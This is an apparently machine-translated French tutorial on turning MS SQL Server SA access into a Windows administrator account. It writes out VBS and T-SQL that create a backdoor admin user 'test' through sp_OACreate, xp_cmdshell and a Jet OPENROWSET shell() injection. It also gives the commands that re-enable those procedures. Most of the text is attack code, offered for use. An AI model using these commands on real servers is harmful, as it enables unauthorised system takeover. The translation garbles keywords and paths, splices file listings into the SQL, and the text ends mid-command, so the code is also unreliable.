Microsoft SQL Server SA permission dernière méthode invasive



SA mot de passe d'accès, souvent parce que l'administrateur du serveur, ou "précédent" et sera net.exe net1.exe sont limités à utiliser le compte administrateur ne peut pas être ajouté. Nous savons que VBS dans Active Directory (ADSI) fait partie d'un objet winnt, utilisé pour gérer les ressources locales, l'utiliser et ne peut donc pas compter sur commande CMD peut ajouter un administrateur, le code spécifique comme suit:

ensemble wsnetwork = CreateObject ("WScript.Network")

OS = "WinNT ://"& wsnetwork.ComputerName

Set ob = GetObject (OS) "obtenir l'interface ADSI, contraignant

Set oe = GetObject (OS & "/ Administrateurs, group") «groupe de propriété admin,

Ensemble od = ob.Create ("user", "test") 'Créer un utilisateur

od.SetPassword "1234" "Définir mot de passe

od.SetInfo "Enregistrer

Ensemble de = GetObject (OS & "/ test, l'utilisateur)« obtenir de l'utilisateur

OS oe.add & "/ test"

Le code ci-dessus pour enregistrer 1.vbs, puis exécuter la commande pour le "1.vbs cscript, de sorte que le système ajoutera un système appelé l'essai, le mot de passe est 1234. mise en œuvre spécifique du code dans l'Analyseur de requêtes comme suit:

declare @ int o, int @ f, int @ t @ int ret

sp_OACreate exec "Scripting.FileSystemObject", @ o à

sp_OAMethod exec @ o, 'CreateTextFile, @ out f,' c: 1.vbs ', 1

exec @ ret = sp_OAMethod @ f, 'WriteLine', NULL, 'set wsnetwork = CreateObject

("WScript.Network") '

exec @ ret = sp_OAMethod @ f, 'WriteLine', NULL, 'os = "WinNT ://"& wsnetwork.

ComputerName »

exec @ ret = sp_OAMethod @ f, 'WriteLine', NULL, 'Set ob = GetObject (OS) »

exec @ ret = sp_OAMethod @ f, 'WriteLine', NULL, 'oe Set = GetObject

(Os & "/ Administrateurs, group") '

exec @ ret = sp_OAMethod @ f, 'WriteLine', NULL, 'Set od = ob.Create

("Utilisateur", "test") '

exec @ ret = sp_OAMethod @ f, 'WriteLine', NULL, 'od.SetPassword "1234" "

exec @ ret = sp_OAMethod @ f, 'WriteLine', NULL, 'od.SetInfo'

exec @ ret = sp_OAMethod @ f, 'WriteLine', NULL, 'Set of = GetObject

(Os & "/ test, l'utilisateur)»

exec @ ret = sp_OAMethod @ f, 'WriteLine', NULL, 'oe.add OS & "/ test"'

Grâce à la déclaration ci-dessus, puis exécutez la ligne suivante de code, cette ligne doit séparer la mise en œuvre, non pas avec la mise en œuvre de ce qui précède et, sinon, il invite «C: 1.vbs est géré par un autre programme» ne parvient pas à ajouter l'utilisateur :

exec master .. xp_cmdshell 'cscript c: 1.vbs'

Si l'utilisateur du système n'a pas ajouté avec succès, il se peut que le mot de passe utilisateur du système de 1234 est trop simple, ne satisfait pas le serveur mot de passe complexe politique, Ke Yi Xie Kaolvshezhi complexe, et puis de tester quoi. Vous pouvez également utiliser l'écho d'écrire 1.vbs code, le format du code est la suivante:

exec master .. xp_cmdshell 'echo ensemble wsnetwork = CreateObject ("WScript.Network")

1.vbs '

Toutefois, ne sais pas pourquoi tous les personnages avec des «&» dans les lignes de commande ne peut pas écrire 1.vbs, intéressés par ce que un ami peut essayer de résoudre.

En utilisant le modèle de table jet de sable, peuvent être résolus xp_cmdshell autres procédures stockées et pertinents gêne bibliothèque de liens dynamiques. Pour des raisons de sécurité, le système ne soit pas par défaut pour activer le mode sandbox, ce qui nécessite xp_regwrite mode sandbox ouvert:

HKEY_LOCAL_MACHINE 'master.dbo.xp_regwrite Exec', 'SOFTWAREMicrosoftJet4.0

Moteurs »,« SandBoxMode "," REG_DWORD ", 1

Ensuite, exécutez la commande tableau de sable, le système ajoute un utilisateur nommé test, le mot de passe 1234 utilisateurs:

Sélectionnez conf bin sauvegarde des données de configuration generate.sh eshow_sitemap.html journal maint tmp svn sitemap.html FROM OPENROWSET ('Microsoft.Jet.OLEDB.4.0', '; base de données = c: windows

system32iasias.mdb ',' shell sélectionner ("cmd.exe / c test net user 1234 / add") ')

Sélectionnez conf bin sauvegarde des données de configuration generate.sh eshow_sitemap.html journal maint tmp svn sitemap.html FROM OPENROWSET ('Microsoft.Jet.OLEDB.4.0', '; base de données = c: windows

system32iasias.mdb ',' shell sélectionner ("cmd.exe net c / localgroup

administrateurs de tester / add ") ')

Différents systèmes d'exploitation, le chemin n'est pas le même besoin de faire des changements à la situation:

NT/2K: c: winntsystem32
XP/2003: c: windowssystem32
Un autre Server2005 Microsoft SQL en défaut, le nombre de procédure stockée est fermée et nécessite une commande pour ouvrir:

Xp_cmdshell Open:

EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure

«Xp_cmdshell ', 1; RECONFIGURE;

Ouvrir 'OPENROWSET:

exec sp_configure 'show advanced options', 1; RECONFIGURE; sp_configure exec

'Ad Hoc Distributed Queries', 1; RECONFIGURE;

Ouvrir 'sp_OACreate:

exec sp_configure 'show advanced options', 1; RECONFIGURE; sp exec